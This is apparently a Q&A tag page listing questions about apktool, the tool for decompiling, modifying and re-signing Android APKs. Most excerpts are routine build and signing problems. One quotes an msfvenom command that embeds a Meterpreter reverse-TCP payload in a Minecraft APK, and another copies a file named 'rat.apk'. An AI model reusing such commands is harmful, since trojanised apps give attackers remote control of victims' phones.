Questions tagged [apktool]

Apktool is a tool for reverse engineering 3rd party, closed, binary Android apps.

Apktool is a tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications; it makes possible to debug smali code step by step. Also it makes working with app easier because of project-like files structure and automation of some repetitive tasks like building apk, etc.

https://ibotpeaches.github.io/Apktool/

282 questions
1
vote
1 answer

ApkTool splits java files in to multiple files

Im using ApkTool to dessasemble DEX files from an APK to recover smali code. I have noticed that the .java file has been splitted in different files. For example: MainActivity.java -> MainActivity.smali, MainActivity$1.smali FirstFragment.java ->…
orapic
  • 23
  • 2
1
vote
0 answers

Target sdk version changed to 29, but not working in android 10 and 9

After decompiling with apk tool, I changed targetsdk version to 29(and minsdk version to 19), and build and signed it again. This is apktool.yml file: isFrameworkApk: false packageInfo: forcedPackageId: '127' renameManifestPackage:…
samsam114
  • 987
  • 2
  • 8
  • 20
1
vote
2 answers

Thin question: how can I take out an old sign from my original .apk-file, is there any method?

Hi there, My problem is: Google play is deleted my old app, to re-publish it I only need to raise its version, and I can do it with apktool by decoding it from .apk, but decoding is erasing my sign from application, I can re-sign it, but the problem…
Max Paws
  • 11
  • 2
1
vote
1 answer

Malformed String Number Version 2.4.0 when msfvenom -x

Read all and carefully Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command: msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk it gives…
DoggoPlayer
  • 59
  • 1
  • 3
1
vote
1 answer

How to obtain strings.xml files for different languages from an apk file (Android 8)

I’m using apktool (and other tools) with an android apk file, to try to find the strings.xml files used for different languages (inside values-** directories). However, I can’t find any languages directories (e.g. values-fr), and I know the app…
user20191130
  • 340
  • 1
  • 9
1
vote
0 answers

How to fix the apktool recompiling errors?

I tried to decompile my apk using the apktool and it worked without any errors but when i tried to recompile it, it showed a lot of errors. What should I do? Below is what i entered and what the result was.. C:\New folder>apktool b talalkhan I:…
Talal Khan
  • 11
  • 2
1
vote
1 answer

How to convert jadx saved project to APK?

I opened an apk in JADX-GUI and saved it into a project, now I want to create an apk from that project. How do I do that?
1
vote
1 answer

Python Decompile APK using ApkTool and Subprocess

I am builing a Python Application that decompiles Android APK makes some modifications and recompiles it. Here is the code: from shutil import copyfile # Copy the APK to the output directory. copyfile('./source/rat.apk', './output/rat.apk') #…
DRE
  • 263
  • 8
  • 35
1
vote
2 answers

How to install apktool (jar file problem)?

I am trying to install the apktool. I am using this link. The link instructs to download the jar file and batch file and store it in the C:\Windows directory. Batch file has following contents: @echo off if "%PATH_BASE%" == "" set…
user2994783
  • 141
  • 1
  • 10
1
vote
0 answers

New keystore not working, while signin the APK

I created a new Keystore and carefully entered all the password and while signin the app I recheck the passwords too, but on this project, with every new Keystore I encounter the same problem. It is started happening after I forgot the password for…
Gaurav Rai
  • 370
  • 1
  • 3
  • 16
1
vote
1 answer

Can't recompile the apk file with apktool

I decompiled an app with apktool_2.3.4 and i didn't make any changes to the app but when i run : apktool b app.apk I got the following error: I: Using Apktool 2.3.4 I: Checking whether sources has changed... I: Smaling smali folder into…
Moamen
  • 23
  • 1
  • 4
1
vote
2 answers

How to view debug messages on Android?

I've got an Android app that works highly unstable and I want to fix it. So I decompiled the apk with apktool and figured that the app call a bunch of Log.d where it writes the useful information. Then I installed a log viewer for Android and…
reardenlife
  • 317
  • 4
  • 15
1
vote
0 answers

apktool not found

I have an error when trying to decompile apk. In the folder on the C:\ drive there is apktool.bat, apktool.jar and my apk. jdk is also installed, but when I try to start apktool d name.apk I get an error, what can it be connected with? apktool: The…
Igor Sokol
  • 11
  • 2
1
vote
2 answers

Only change permissions in an apk and republish on playstore

Recently Google has asked me to remove one permission (SEND_SMS) from my android app and republish it. The problem is that I got this prebuilt app from some company and now they are asking for extra amount for only changing this permission. During…
1
vote
1 answer

How to modify .line numbers in smali file?

I have used apktool to decompile an apk to its smali source. In all smali files there are .lineXYZ codes. They are random i.e .line 2 and somewhere next it would be like .line 33 so i am unable to get their sequence. I have created a line number…
Nadir
  • 87
  • 1
  • 13